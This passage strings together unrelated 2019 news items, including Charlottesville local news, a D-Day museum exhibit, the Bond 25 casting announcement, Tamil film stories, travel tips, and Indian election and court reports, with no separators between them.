a.m. May 4, 11 and 18. 15091 Yager Road in Somerset. (540) 672-7268. Orange County Parks and Recreation has a seminar on Adult, Child & Infant CPR from 8:30 a.m. to 12:30 p.m. May 4. 151 Berry Hill Road in Orange. (540) 672-5435. Johnson said he next few weeks will be an emotional transition. Coming back to City of Promise was personal work, she said. She said she was most proud of the families shes worked with and all they have accomplished. They trusted me from Day One, she said. Johnson will start with the school system on May 15. Mary Coleman, who is currently development director for City of Promise, will serve as the organizations interim director. City of Promise opened Johnsons eyes to a whole other dimension of what human services are like in Charlottesville, she said. Her experience taught her that human services require a holistic approach and relationships. In order to effect change, we have to do it together, she said. Atkins echoed that sentiment in her statement. But we recognize that equity is not a program, and it does not fall to one person, Atkins said. Each of us at Charlottesville City Schools must continue to work to make sure that all our efforts and programs reflect equity. Denise will facilitate these conversations and changes. Katherine Knott is a reporter for The Daily Progress. Contact her at (434) 978-7263, kknott@dailyprogress.com, or @knott_katherine on Twitter. For all the latest news on local schools, subscribe to The Cheat Sheet here. Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. The issue centers on a memorandum of understanding about access to CPD data and files for a permanent boards oversight of the department. The initial board is tasked with creating bylaws for a permanent review panel, which are due in May. A working draft has been presented to the City Council, but the board doesnt plan to finally adopt them until later next month. On Tuesday, board members said the issues with scheduling a meeting likely will require an extension of their terms. The extension, they said, would allow the council to discuss the proposal with the board once its presented. The Friday release said City Councilor Heather Hill conveyed to the board that an extension will not happen. While the existing CRB terms will not be extended, Council does anticipate engaging with members of the CRB as well as other stakeholders and the public after June, the release said. The terms of all board members, except Rosia Parker, expire on June 4. Parker, who was appointed after community outcry over her initial exclusion, is set to serve through July 2. This page may be updated if the event is repeated Past Event - Thursday, June 6, 2019 This page may be updated if the event is repeated Free Event Exhibit and Events to commemorate the 75th Anniversary of D-Day at the Air Force Museum. D-Day 75th Anniversary Exhibits & Events at the National Museum of the U.S. Air Force The National Museum of the U.S. Air Force will commemorate the 75th Anniversary of D-Day with two separate days full of events, as well as a temporary augmented reality (AR) exhibit. The events will take place on Monday, May 13 and Thursday, June 6, 2019. On May 13th, events will include a paratrooper jump, D-Day films and the opening of the temporary AR exhibit which will remain open through the end of the year. The event on June 6th will include a flyover, wreath laying, living history re-enactors, WWII-era vehicles, collection displays and D-Day films. The Air Force Museum Foundation will also open a roughly 3,500 square foot, fully interactive augmented reality (AR) experience focusing on the 82nd and 101st Airborne divisions and their missions during D-Day. Through spectacular scientifically- and historically-validated 360 recreations, museum visitors will travel in time to understand the key moments of this decisive battle for the success of D-Day. The exhibit will be open from May 13 through the end of the year. For a full schedule of events, please visit the museum website. Mumbai: Oscar winner Rami Malek will play the villain in Bond 25, which will be Daniel Craig's fifth outing as the famed fictional British spy, the producers announced Thursday via a live streaming event from creator Ian Fleming's home in Jamaica. It is expected to be Craig's last appearance as Bond, a role he has previously played in "Casino Royale", "Quantum of Solace", "Skyfall" and "Spectre". The actor said his favourite part about Bond films was that they were like a big event when they came out in theatres. "The movies have been an event at least for me. I remember going to watch them as a kid... the new Bond coming out was just extremely exciting. During my tenure, we have just tried to continue that tradition of making movies that stand out, are different from other movies out there," he said. The yet-untitled film will be directed by Cary Joji Fukunaga, who called Craig his favourite Bond. Fukunaga said he wanted to ensure that the film is "a great next chapter" in the Bond series so that whoever comes next "has a harder job". Besides Craig, who plays the role for a fifth time, Returning cast members include Naomie Harris as Eve Moneypenny, Ben Whishaw as Q, Lea Seydoux as Dr Madeleine Swann, Ralph Fiennes as M., Jeffrey Wright as Felix Leiter, and Rory Kinnear as Bill Tanner. Malek is leading the pack of newcomers which boasts talented names such as "Maniac" fame Billy Magnussen, Dali Benssalah, "Blade Runner 2049" actor Ana De Armas, David Dencik, and "Captain Marvel" star Lashana Lynch. "Yeah, I am stuck here in New York, in production. But I am very much looking forward to joining the whole cast and crew very soon. And I promise you all, I will be making sure that Mr Bond does not have an easy ride in his 25th outing," Malek said in a video message. Bond producer Barbara Broccoli revealed that the story is returning to where it all began. The shooting will also take place in Norway, London, and the small Italian town of Matara. Broccoli said, "Bond is not on active service, he's enjoying himself in Jamaica. He starts his journey here." His peace is short-lived when his old friend Felix Leiter from the CIA turns up asking for help. The mission to rescue a kidnapped scientist turns out to be far more treacherous than expected, leading Bond on to the trail of a mysterious villain armed with dangerous new technology, according to official synopsis. Bond25 went through a rough phase after director Danny Boyle bowed out of the production over creative differences and eventually Fukunaga was roped in as his replacement. Fukunaga, known for directing the critically-acclaimed first season of HBO's "True Detective" series, will be the first American director in the history of the franchise. The screenplay is by Neal Purvis & Robert Wade, Scott Z. Burns with Cary Joji Fukunaga and Phoebe Waller-Bridge. The film is scheduled for release in April 2020. Ace supporting actor Sampath Rams aghori avatar in Kanchana 3 has garnered lot of attention. The actor says the meaty role was initially meant for a big actor, but for some reasons he could not take it and later fell on his lap. I played the villain in Kanchana. This role came to me accidentally. When a big hero turned it down, they did a look test on me and when Lawrence sir saw me, he was too glad and brought me on board. It took two hours for makeup and another one hour for its removal every day, he adds. I wanted to be different from the normal aghoris. I took extra care in terms of walking, expressions and voice modulation. Though it was strenuous for me to act as a hunchback, it paid off richly when accolades poured in for my performance, especially for the climax, says the 6-foot-3 inch actor. Not only in Tamil, but in Telugu also where the industry has welcomed him with open arms with Kanchana 3 being a hit there also. Sampaths future films include Prabhu Solomons trilingual film with Rana Daggubati, Madai Thirandhu with Sathyasiva and yet another new film with the same filmmaker. Dharmaprabhu will showcase a different Yogi Babu. It is a political satire and Yogis dialogue delivery will be new in this fantasy comedy, which will be a trend setter in this genre, says director Muthukumaran. Muthu is a close friend of Yogi and the two were roommates for several years before the latter became a big comedian. I wrote the script keeping Yogi Babu in mind. Today, Yogi has become the busiest and invariably the comedian in Tamil cinema. When I narrated this script to him he was too happy and immediately gave a go ahead. Producer Ranganathan was impressed with it and agreed to bankroll it on a big budget. Everything happened in just three days time, reveals Muthu. It is a story of Lord Yama played by Radha Ravi who is tired of ruling Yama Loham for one and half lakh years. Since he falls ill, he wants to retire. While Chithraguptan, essayed by Ramesh Thilak, is next in line to adorn the throne, much to everyones surprise, Yama makes his son Dharamaprabhu to succeed him. The confusion and galatta that follows is narrated in side-splitting manner. Muthkumran On a certain occasion Dharmaprabhu visits bhooloham and there he sorts out several issues including a problem between a pair of lovers. Janani Iyer plays a crucial cameo. Though Yogi does not have a pair in the film, theres a dream song with Meghna Naidu, which will be shot in Thailand. While cinematography is by Mahesh Muthusamy, Justin Prabhakaran is the music composer. Humans are social animals who yearn for companionship. Dogs are mans best friend; believed and witnessed by all. Dogs have the superpower to reduce stress and depression. Psychologists, counsellors, researchers have always encouraged people to adopt dogs. As reported by TheGuardian, a Swedish study suggests that adopting a dog can significantly help in reducing heart ailments. A dog is like your own baby and they become an integral part of your family and makes you feel complete. It never fails to assume you with its naughty behaviour and act all protective about you with its instinct. According to researchers, adopting dogs have a positive impact on the well-being of the dog owners and their family members. Elaborate studies have proved that it has immensely benefitted people who are loners or prefer to lead a seduced life. Suggested by Tove Fall, an epidemiologist and the lead author of this latest study that It seems that a dog can be a substitute for living with other people in terms of reducing the risk of dying, The daily walks will not only help you maintain fitness and strength of your bellowed pet but will also help you remain active and motivated. Spending some quality time with your dog after a hectic day is sure to attract positive energy. Doctors truly believe that dogs can help to dissipate stress, elevate your mood, thereby helping to keep heart ailments at bay. Stay healthy, stay motivated, adopt a dog. There are some places whose beauty cannot be described in words but can be experienced when you are at the realm of its pristine beauty. The USA is one such place where the music of nature truly beckons your inner soul. This season dump your mobile phones, laptops and get ready to rejuvenate yourself in the arms of nature. Here are some handpicked destinations that will not only help you detox but will give you time to fall in love with yourself once again. Arches National Park, Utah If you are an adventure enthusiast then rappelling through the canyons at Arches National Park is a must. Utah is home to almost 2000 arches as well as several pinnacles and rock fins, which were formed thousands of years back by wind and rain. Arches National Park. (Photo: Brand USA) There are marked trails for those who love to walk and admire the contrasting hues of Nature. From biking to backpacking, there are numerous activities that will help you unwind. Sit on the edge of a rock and witness the sunset. Grand Canyon National Park, Arizona Powerful and inspiring, Grand Canyon National Park should be on every traveller's bucket list. It is a UNESCO World Heritage site and is famous for its landmarks. Plummeting canyons, multicoloured rocks, dramatic cliffs and stunning ravines adds to the beauty of this place. One of the most alluring canyons is the Colorado River that snakes its way through this park and is good for boating. Grand Canyon National Park. (Brand USA) Crater Lake National Park, Oregon If you want to experience one of the snowiest places in the USA, visit Crater Lake National Park in the Cascade Mountain. This place is a stunning natural beauty. There are plenty of ways to experience this lake. During winter this place becomes a winter wonderland and to trail in this snowy place is a magical experience. Once the snow melts you can enjoy hiking among the trails around the lake at Wizard Island. The Cascade Mountains, Crater Lake. (Photo: Brand USA) Hawaii Volcano National Park, Hawaii This is one of the most popular UNESCO World Heritage Site. With lava flowing, steam rising from vents and plumes of volcanic gas ascending from this site offers visitors an unbelievable natural beauty. Guntur DSP (Traffic) K. Supraja and other traffic officials inspecting the two-wheelers seized for violation of noise regulations in Guntur city on Thursday. DC Vijayawada: The police held counselling session to youngsters who violated the traffic rules. Even their parents were asked to attend the counselling in Guntur. The police found 12 youngsters violating traffic rules, like driving their modified bikes in a zig-zag manner, travelling at very high speed, involved in triple riding, in the city on Thursday. The police, led by Guntur Urban (traffic) DSP K. Supraja, seized the vehicles and called the parents of the youngsters. The cops warned the youth as well as their parents of stern action, if they were found repeating the same in the future. Guntur traffic police, led by DSP K. Supraja, CIs Bhaktavashala Reddy and Ashok Kumar, conducted surprise checks in Guntur and found that the youth fitted special horns to their bikes, to draw the attention of other motorists. In fact, such steps would divert the attention of the motorists and lead to accidents. Ms Supraja decided to adopt people-friendly policing under which the erring motorists would be counselled first and then cases would be registered against them, if they continued violating the rules continuously. She said that the department also plans to conduct awareness camps to mechanics who are facilitating extra fittings and modifying bikes that are creating sound pollution. 'Engine trouble on our flight to Patna today! We've been forced to return to Delhi,' he tweeted. (Photo: File) New Delhi: Aviation regulator DGCA has initiated a probe into the incident of the plane carrying Congress President Rahul Gandhi suffering engine trouble, a senior official said. The plane on way to Patna was forced to return to Delhi on Friday after experiencing "engine trouble". Read: Video: Congress chief Rahul Gandhis plane faces technical snag The senior Directorate General of Civil Aviation (DGCA) official said the Hawker 850 XP aircraft VT-KNB returned back to Delhi after take-off due to a technical snag. "DGCA has initiated investigation as per the laid down procedure," he told PTI. The aircraft landed safely in Delhi at 10:20 am. There were ten people on board including two crew members, the official said. On Twitter, Gandhi posted a video of the flight which shows him, the pilot and the co-pilot in the plane. "Engine trouble on our flight to Patna today! We've been forced to return to Delhi," he tweeted. He was deployed in Odisha as a general observer and suspended on April 17 for checking Modi's helicopter in Odisha's Sambalpur in 'violation' of norms for dealing with SPG protectees. (Photo: AFP) New Delhi: The Election Commission Thursday barred IAS officer Mohammed Mohsin, who had checked Prime Minister Narendra Modi's helicopter in Odisha, from election duties till further orders. Sources in the Commission said the poll body has also recommended the Karnataka government to take disciplinary action against him. Mohsin is a 1996 batch IAS officer from Karnataka cadre. He was deployed in Odisha as a general observer and suspended on April 17 for checking Modi's helicopter in Odisha's Sambalpur in "violation" of norms for dealing with SPG protectees. The sources said Mohsin's suspension order has also been revoked. "It is a composite order which has been issued today (Thursday) based on the fact finding report of Deputy Election Commissioner Dharmendra Sharma," a senior EC functionary said. The developments come on a day when the Central Administrative Tribunal (CAT) in Bengaluru stayed the EC order suspending Mohsin. The CAT maintained that during an election process while reasonable assurances of protection and security must be made available to SPG protectees, it cannot be said "they are eligible for anything and everything". An order issued by the EC on Tuesday had said the general observer for Sambalpur, Mohammad Mohsin, acted in violation of existing instructions of EC. "It has been laid down that SPG protectees are exempted from checking. He should have known the instruction being an observer. The reason for suspension is dereliction of duty," an EC source had then said. After the incident, the officer was attached to the Sambalpur headquarters. Later, he was attached with the chief electoral officer of Karnataka. The order exempting SPG protectees, including the Prime Minister, was issued in April 2014, the poll body said. The Commission took the action against Mohsin on the basis of a report submitted by the district collector and deputy inspector general of police. Keep yourself updated on Lok Sabha Elections 2019 with our round-the-clock coverage -- breaking news, updates, analyses et all. Happy reading. Bengaluru: In the face of fresh reports that Congress rebels working in tandem with the BJP would step up efforts to pull down the Congress-JD(S) coalition government after results of Lok Sabha polls are announced on May 23, Congress insiders say there is a strong move to safeguard the 'unnatural arrangement' with a change of guard at the top. This could mark an ailing H.D. Kumaraswamy making way as chief minister for Kuruba strongman Siddaramaiah, who could return for another stint as Chief Minister. Speculation is rife that the strategy to replace Chief Minister H D Kumaraswamy with Siddaramaiah has the blessings of JD (S) patriarch H D Deve Gowda as the wily politician feels that such a move would help checkmate the BJP's move to woo disgruntled Congress legislators, many of whom are Siddaramaiah loyalists, to the saffron side. In addition, the former prime minister could then move his other son and PWD minister H D Revanna into the deputy chief minister's position, which had been the original power sharing arrangement offered by Mr.Siddaramaiah after the 2018 assembly polls. With bypolls to two Assembly constituencies scheduled for May 19 and the outcome of Lok Sabha polls expected to bring down the strength of the coalition, the BJP, the single largest party post 2018 Assembly polls, believes it will have the numbers to stake claim to form a new government. Such speculation has gained currency post former minister Ramesh Jarkiholi's outbursts against the Congress and his younger sibling, Satish Jarkiholi. The rebel legislator has minced no words in stating that he would soon take a call on joining the BJP along with some other disgruntled Congress MLAs. Sources in the Congress said though Mr Gowda reportedly favours deputy chief minister Dr Parameshwar to move up and take over the Chief Minister's mantle as the latter worked for the former prime minister's victory in Tumakuru parliamentary constituency, he would run into a wall as supporters of Mr Siddaramaiah would oppose such a move. The same situation would apply to veteran leader M Mallikarjun Kharge as the former chief minister's supporters would stall this move. A Congress leader, who spoke to Deccan Chronicle on the condition of anonymity, said only Mr Siddaramaiah could destabilize the coalition government and not the BJP as he held sway over 78 legislators of the party. He had buried the hatchet with Mr Deve Gowda and campaigned for Janata Dal (Secular) candidates during Lok Sabha polls, and also showed signs that he was keen to ensure the coalition government completes its term, he added. Interestingly, Mr Satish Jarkiholi dismissed his elder brother's threat to quit the Congress as "drama" enacted to create confusion within the party and also to support the demand of his brother-in-law for a ticket in neighbouring Maharastra. The LDF has also hinted at cross-voting in Attingal where BJP state general secretary Shoba Surendran contested. THIRUVANANTHAPURAM: Allegations of cross-voting have rocked the three political fronts which are worried over setbacks in several constituencies like Kasaragod, Kannur, Vatakara, Kozhikode, Alathur, Mavelikara, Kollam and Attingal. The LDF leaders, including CPM state secretary Kodiyeri Balakrishnan, had alleged earlier that an unholy nexus, 'Co-Le-B,' existed between the BJP and the UDF from the time the Lok Sabha polls were announced. Later, Vatakara CPM candidate P. Jayarajan also made the same charge. This was rubbished by the KPCC leadership. The CPM leadership claimed that as per the reports from the booth committees in the eight constituencies, cross-voting occurred in the last one hour before the polling deadline. A former BJP state president told this paper that the allegations raised by the CPM and the Congress were the results of their fear of defeat at the hands of the BJP. "CPM's polling agents were absent in several constituencies in Kannur and Kasaragod indicating a BJP victory in key constituencies. It is no longer Co-Le-B, but Co-Ma," he said. The LDF has also hinted at cross-voting in Attingal where BJP state general secretary Shoba Surendran contested. The LDF leaders alleged that the BJP had hatched a conspiracy with UDF leaders to defeat CPM's A. Sampath. However, Ms Sobha Surendran told DC that the CPM camp was apprehensive of a debacle. "The NDA made great strides in Attingal which has given anxiety attacks to the CPM and Congress camps. Sampath misused official machinery and Adoor Prakash ensured huge money flow in the constituency," she said. Hyderabad: A Nampally court has rejected the anticipatory bail petition of Congress leader Konda Vishweshwar Reddy on Thursday. Mr Reddy had moved the court for bail in connection with a case filed at the Banjara Hills police station where he was accused of detaining police officers. Mr Reddy, who joined the Congress from the TRS last year, is accused of allegedly manhandling the policemen when they went to serve notices on him in a case of seizure of Rs 10 lakh cash from his associate Konda Sandeep Reddy. at Gachibowli, two days before the Lok Sabha elections in the state. On April 9, the Cyberabad police had caught Sandeep Reddy, an advocate, with the money near SLN Terminus Mall. The police also seized some paper slips in which information about expenditure for campaigning and liquor distribution were allegedly written besides some information in code. In that connection, a sub-inspector and a constable working at the Cyberabad police commissionerate had gone to Mr Reddys office at Road No 12, Banjara Hills, where they were illegally confined and manhandled. Yadav was admitted to the Sanjay Gandhi Post Graduate Institute of Medical Sciences and was examined by a team of doctors, said Amit Agarwal, the hospital's chief medical superintendent. (Photo: File) Lucknow: Samajwadi Party founder Mulayam Singh Yadav was admitted to a hospital here on Friday for a routine medical checkup after he complained of weakness. Yadav was admitted to the Sanjay Gandhi Post Graduate Institute of Medical Sciences and was examined by a team of doctors, said Amit Agarwal, the hospital's chief medical superintendent. Agarwal said Yadav has mild uncontrolled diabetes, adding that he would discharged in the evening. Metro Manila (CNN Philippines, April 26) A number of government agencies are coordinating to check the status of Chinese establishments that have mushroomed in Boracay a year after the island's six-month closure, the Interior department said Friday. The main issue here is to confirm that one, these Chinese establishments are allowed to operate in the island, Interior Undersecretary Epimaco Densing told CNN Philippines Balitaan. The committee composed of the local government of Malay, Aklan, the Trade and Labor departments, and the Immigration bureau are also verifying if the Chinese workers spotted on Boracay have permits, Densing said. The BI has come under fire for its issuance of Alien Employment Permits (AEPs), which some lawmakers have blamed for the influx of illegal Chinese workers in the country, Congress attempted to remove the power to issue AEPs through the 2019 budget bill, but this provision was vetoed by President Rodrigo Duterte. In an interview with reporters in Palawan, Vice President Leni Robredo said the policy on letting foreign workers into the country needs to be strengthened and made more transparent. "Sana maging transparent ilan na ba talaga iyong pumasok, ano ba iyong mga trabaho noong mga pumunta, naaagawan ba ng trabaho iyong mga Pilipino, gumagawa ba sila dito ng hindi nila dapat ginagawa? Ngayon kasi parang hula lahat kasi hindi malinaw kung ano iyong kung ano iyong dahilan kung bakit biglang nagdagsa dito," Robredo said. [Translation: I hope they will be transparent on how many have entered, what are the jobs of those who came here, are Filipinos being robbed of jobs, are they doing work here that they shouldn't be doing? Now it's like everything's a guess and it's not clear what is the reason behind the sudden influx.] Some residents have criticized the spike in the number of Chinese businesses on the island after it was shut down in April last year over environmental problems. This resulted in a number of business closures for violation of environmental laws. READ: A different Laboracay awaits tourists a year after islands shutdown Residents said Chinese-run establishments only post signages in their language and that Chinese guests have been prioritized in restaurants. Densing said they have recommended the Chinese establishments to have English translations in their signages. He added these businesses should not refuse locals. When they put up those restaurants, establishments, nobody should be shooed away from those establishments unless they have a valid reason, like they have no intention to pay, he said. Data from the Boracay Tourism Regulatory Enforcement Unit obtained by CNN Philippines show that Chinese tourists are top violators of local ordinances, with 739 violations from January to April 2019. Densing said the number of violators has dropped from February to April. In February, 248 Chinese nationals violated local ordinances in Boracay. This went down 207 in March and 134 this month, according to data from the Boracay Tourism Regulatory Enforcement Unit. He also said Chinese tourists are the top visitors in Boracay, with 147,000 of them having come to the island destination since January 2019. He added that Koreans come second with 97,000 visitors. Critics were wary that a Chinese casino would be built and operated on Boracay, but the company that would have handled its operations said last year said it is looking for a different location. Hindus, who have migrated from Pakistan to India via pilgrim visa, are residing in pockets of Jodhpur. (Photo: ANI) Jodhpur: Hindus who migrated from Pakistan to India say they are delighted with Prime Minister Narendra Modis promise of Citizenship Amendment Bill as possessing Indian citizenship means one step forward towards a better future. For now, that dream seems entirely blurred in reality as migrants still hope to receive basic amenities, rehabilitation packages, medical and educational facilities. They claim that they have been promised houses under the Indira Aawas Yojna by the government but nothing has happened so far. Hindus, who have migrated from Pakistan to India via pilgrim visa, are residing in pockets of Jodhpur. While speaking to ANI, these migrants expressed their happiness over Modis promise, of granting them citizenship, during his rallies in Barmer and Jodhpur. Moolchand, who came from Sindh province, told ANI that due to forceful conversions to Islam and daily harassment in Pakistan, he decided to move to India. Women and girls cannot roam around freely in Pakistan. It gives a feeling that Modi delivers what he promises." Lack of electricity, water supply and other amenities are a matter of concern and disappointment for this community. Although I am happy that I'm in my own country, infrastructure like schools, hospitals and roads are not there. I would request the government to provide these at the earliest," said Moolchand. Bhagwati, a migrant school girl from Mirpurkhas in Sindh, who is in India for the last three years said, "Young girls could not go freely in Pakistan. But here in India, the right to education is my right. Such right empowers women." Underlying the need to get citizenship in India, Keshu Devi said: I feel good in India but I want basic infrastructure. The idea of citizenship to Hindus is a matter of delight for us and if we become citizens of India then it would be the most delightful moment for us, she said. Lalchand, another migrant, who aspires to be a doctor, said, We were forced to read Islamic verses in Pakistan. I was even discriminated in the school as I was Hindu." In order to give a bright future to the children of migrants, several NGOs have stepped up in the area and working towards their growth. Manju Jain, a teacher who is helping these children for past one year said, Government should also step up and help these students. We want them to stand up on their feet and become good citizens of the country." Meanwhile, Human rights activist Hindu Singh Sodha welcomed the citizenship promise made by the Prime Minister but also expressed concern on the legal aspect of the provision for pragmatic implementation. "The government must handle such sensitive matters with care," she said. The Citizenship Bill, which was passed in Lok Sabha on January 8, seeks to provide citizenship to non-Muslims from Bangladesh, Pakistan, and Afghanistan who came to India before December 31, 2014. Attempts by the Central government to pass it through the Rajya Sabha were stalled by the Opposition. Under the proposed amendments in the Bill, the minimum residency period for citizenship was being reduced from the existing 12 years to 7 years. The citizenship was supposed to be given to them only after due scrutiny and on the recommendation of district authorities and the state government. Rohit Shekhar, the son of the late veteran politician N D Tiwari, was smothered to death on the intervening night of April 15 and 16, an autopsy report said. (Photo: ANI twitter) New Delhi: Rohit Shekhar Tiwari's wife Apoorva Shukla, arrested in connection with his murder, was sent to 14-days judicial custody by a Delhi court on Friday. Chief Metropolitan Magistrate Deepak Sherawat sent Shukla to jail after the police informed the court that her custodial interrogation was not required. Shukla was arrested on April 26 on charges of Tiwari's murder, citing a "turbulent and unhappy" marriage as the motive. Rohit Shekhar, the son of the late veteran politician N D Tiwari, was smothered to death on the intervening night of April 15 and 16, an autopsy report said. Apoorva, a lawyer practising in the Supreme Court, was being questioned in connection with the killing since last Sunday. New Delhi: The Supreme Court Friday refused to interfere with the Election Commission's order banning release of the biopic on PM Narendra Modi until May 19. A bench headed by Chief Justice Ranjan Gogoi said it was not inclined to entertain the application filed by producers of the biopic challenging the EC's order. "What survives in this now?" the bench, also comprising Justices Deepak Gupta and Sanjiv Khanna, said. The counsel, appearing for film producers, told the bench that the EC's order is contrary to the clearance given to the movie by the Central Board of Film Certification (CBFC). "The issue is whether the movie can be exhibited at this time. The Election Commission has taken a decision. We are not inclined to entertain this," the bench said. The EC had on April 22 submitted its detailed report to the top court on the biopic, saying the film was a "hagiography", which treated the subject with undue reverence, and its public screening during poll campaign would "tilt the electoral balance". The poll panel had said in its 20-page report that the biopic "produces a political environment where an individual acquired cult status" and its public screening during the period when model code of conduct is in operation would favour a particular political party. The EC said "there are several scenes depicting a major opposition party as corrupt and showing them in poor light. Their leaders have been depicted in such a manner that their identification is clear and obvious to viewers." It said that the biopic was more than a biography and was a "hagiography" (which treats the subject as saints and gives undue reverence) and the construct of the movie was "unabashedly uni-dimensional", which puts an individual on a higher pedestal through use of specific symbols, slogans and scenes. The report was submitted after the apex court had on April 15 directed the EC to re-examine its earlier order and take an informed decision on banning pan-India the release of the biopic after watching the full movie. The court had asked the poll panel to provide its report to the producer of the movie. The EC had on April 10 stalled the release of the film until the polls end, asserting that any biopic material with the potential to disturb the level-playing field during elections should not be displayed. The commission, in a separate order, had also directed the producers "not to exhibit the film titled 'PM Narendra Modi' till further orders". The film was earlier set to release on April 11. Acting on the complaints of political parties, including the Congress, the poll panel had also said that any poster or publicity material concerning any such certified content, which either depicts a candidate (including prospective) for the furtherance (or purported to further) of electoral prospects, directly or indirectly, shall not be put on display in electronic media in the area where MCC is in force. The Left had also opposed the release of the film, saying it would disturb the level-playing field for other parties in the election and was in violation of the Model Code of Conduct. The Modi biopic, starring Vivek Oberoi, has been the most-talked about movie this election season. Directed by Omung Kumar, it tells the story of Modi's rise to power from humble beginnings. The apex court had on April 9 disposed of a petition filed by a Congress leader Aman Panwar seeking a stay on the release of the biopic, saying the Election Commission would be an "appropriate" place to seek the redressal. The apex court had said it was not entertaining the petition for the stay on the release of the film which would be "premature" in view of the fact that the movie is yet to be certified by the Censor Board. It said even if the film is released on April 11, as claimed by the Congress leader, it will be appropriate for him to seek a redressal from the Election Commission. Bengaluru: A possible Pakistan angle may reportedly emerge in the investigation in the serial suicide bombings on churches and hotels in Sri Lanka on Easter Sunday, which claimed the lives of 253 people. According to top Intelligence sources Moulvi Hashmi Zahran the alleged leader of the suicide squad that executed the terrorist attacks - whom Sri Lankan authorities say led the suicide bomb attack on the Shangri-La hotel and died when the bomb was detonated - had reportedly travelled to Pakistan from Sri Lanka to meet an ISIS agent. After his return from Pakistan, Hashim had given a clarion call to the youth in Jammu and Kashmir to join the Islamic State of Iraq & Syria (ISIS); cause maximum damage to India and establish the Caliphate. Many Muslim youths in the country, especially in South India, have been radicalized online by Hashim, who made them believe that they were the chosen ones for jehad. The first top ISIS recruits from India - Abdul Khadir Sultan and his brother Shafi Armar alias Yusuf al Hindi were from Bhatkal in Karnataka. They were both killed fighting for ISIS. In the last two years the National Investigation Agency (NIA) has arrested more than 14 ISIS suspects from Uttar Pradesh (UP), National Capital Region (NCR). Tamil Nadu (TN), Andhra Pradesh (AP), Karnataka and Kerala, who were indoctrinated into taking up violent jehad by watching Hashims videos. On their interrogation they all revealed that they were inspired by Hashim. They are hardcore radicals, who are bred on the gore of ISIS ideology. Hashims video lectures are in Tamil and hence are more appealing to the vulnerable youth in TN and Kerala, said an officer on condition of anonymity. The worry is that more and more vulnerable youths are getting drawn by ISIS. They do not need a leader. They are all radicalized online, he added. The interrogation of the ISIS suspects in India led to the alert on Sri Lanka. The NIA shared the dossier on Hashim with the Research & Analysis Wing (R&AW) and the Intelligence Bureau (IB) with specific inputs on his sinister plans to carry out terrorist attacks in Sri Lanka. These were immediately shared with their counterparts in the island country. Srinagar: Peoples Democratic Party (PDP) on Friday while reacting sharply to Prime Minister, Narendra Modis assertion that Bharatiya Janata Party (BJP)s alliance with it to form a coalition government in Jammu and Kashmir in March 2015 was mahamilawat (highly contaminated) accused him of being disingenuous. The Prime Minister has called it mahamilawat which means he knows how to contaminate things. It only proves the BJP was never sincere in its decision and the spirit under which the alliance was known to have been formed, said senior PDP leader and former minister Naeem Akhter. He said the common minimum programme called Agenda of the Alliance on the basis of which the PDP-BJP coalition government was formed was meant for addressing the issues faced by the state and its people. Till his last breath Mufti (Muhammad Sayeed) Sahib was hopeful of New Delhi making moves based on honesty, impartiality and sincerity to address the issues our State is faced with. Had the Agenda of the Alliance been implemented in letter and spirit, the people would have got rid of their miseries and sorrows by now. He added, But now Prime Minister himself tells us that the alliance on their side was mahamilawat. This speaks volumes about disingenuousness of the BJP and its leadership. Prime Minister, Mr. Modi, in an interview earlier during the day had said BJPs decision to form the coalition government with PDP was its (BJPs) mahamilawat. He said the BJP entered into alliance with the PDP to form a government in restive state under democratic compulsions. He said, We went with the PDP because Mufti Saab (Mufti Muhammad Syeed) was there, but it was like mixing oil and water. Chennai: Amidst speculations, three dissident AIADMK MLAs, who shifted their loyalty to T. T. V. Dhinakaran during the recent Lok Sabha elections, will be served with a showcause notice, a preliminary step to disqualify them. The speaker disqualified 18 MLAs of T. T. V. Dhinakaran's faction in September 2017, and his action was upheld by the high court. Chief Government Whip S. Rajendran on Friday submitted his recommendation to Assembly speaker P. Dhanapal seeking action against the three dissident AIADMK MLAs - E. Rathinasabapathy (Aranthangi), V. T. Kalaiselvan (Vridhachalam) and A. Prabhu (Kallakurichi), for 'anti-party activities'. Soon after submitting the letter, Mr Rajendran said that the three MLAs had been extending their support to the Amma Makkal Munnetra Kazhagam(AMMK) leader T. T. V. Dhinakaran for the past few months. He said that visual evidence of their association with Mr Dhinakaran had been submitted to the speaker, and hopes that legal action is taken against them. Rejecting the speculations of the AIADMK, Rajendran said that he is expecting his party to win all the seats in the 18th April Lok Sabha poll and by-election to the 18 Assembly constituencies. Based on the recommendation, speaker P. Dhanapal is likely to issue showcause notices to the accused MLAs, seeking an explanation as to why they should not be acted against. It may be noted that on August 22, 2017, 19 AIADMK MLAs of T. T. V. Dhinakaran's faction met the Governor Vidyasagar Rao and handed him letters stating that they had lost confidence in Chief Minister Edappadi K. Palaniswami. Based on a complaint from the AIADMK party whip Rajendran, the speaker disqualified 18 of the 19 MLAs on September 18, 2017, under the Tamil Nadu Legislative Assembly (Disqualification on Ground of Defection) Rules, 1986. One of the MLAs, Jakkaiyan defected to Palaniswami's side. A year later, Madras High Court upheld the order of speaker. On 18th April, the Election Commission held by-elections to the 18 Assembly constituencies. Mr Rajendran accused that the three dissident MLAs had reportedly campaigned for the AMMK. While Rathinasabapathy and Kalaiselvan extended their support to T. T. V. Dhinakaran in August 2017, Prabhu aided the AMMK general secretary in February last year. The total current strength of the Assembly is 212 of which, 114 members belong to the AIADMK, while 88 MLAs from the DMK, 8 from Congress, 1 from UIML, and 1 independent candidate comprise the rest. The Election Commission has taken steps to hold to four more Assembly constituencies on May 19. Hyderabad: TRS president and Chief Minister K. Chandrasekhar Rao, who succeeded in his plan of holding early elections to the Assembly and taking the Opposition by surprise, is said to be planning for snap polls for the Greater Hyderabad Municipal Corporation. The party has a massive majority in the city corporation, having won nearly 100 out of the 150 wards in the elections held three years ago. Sources said Mr Rao was sounding senior leaders about holding the civic body elections one and a half years ahead of schedule. The elections were held in February 2016, and the tenure of the GHMC elected body runs till 2021. Elections are due in July for 68 municipalities and Nizamabad, Karimnagar and Ramagundam municipal corporation. The government created another 68 municipalities by passing an Act in March last year. Elections need to be held for these too. TRS sources said that Mr Rao was considering holding elections to the urban bodies in November, and was planning to hold the GHMC elections simultaneously. Though some senior leaders dismissed the possibility of early elections for the GHMC, stating that it was only a rumour, some leaders said it could not be ruled out. They said that if the TRS bagged all 16 seats in the Lok Sabha elections, Mr Rao would certainly think of going in for early elections to the GHMC. They said the Congress was in ruins with 11 MLAs defecting to the ruling party, and lower rung cadre joining the TRS in large numbers. Against such a backdrop, Mr Rao would prepare a strategy to wipe out the Congress poltically from the urban 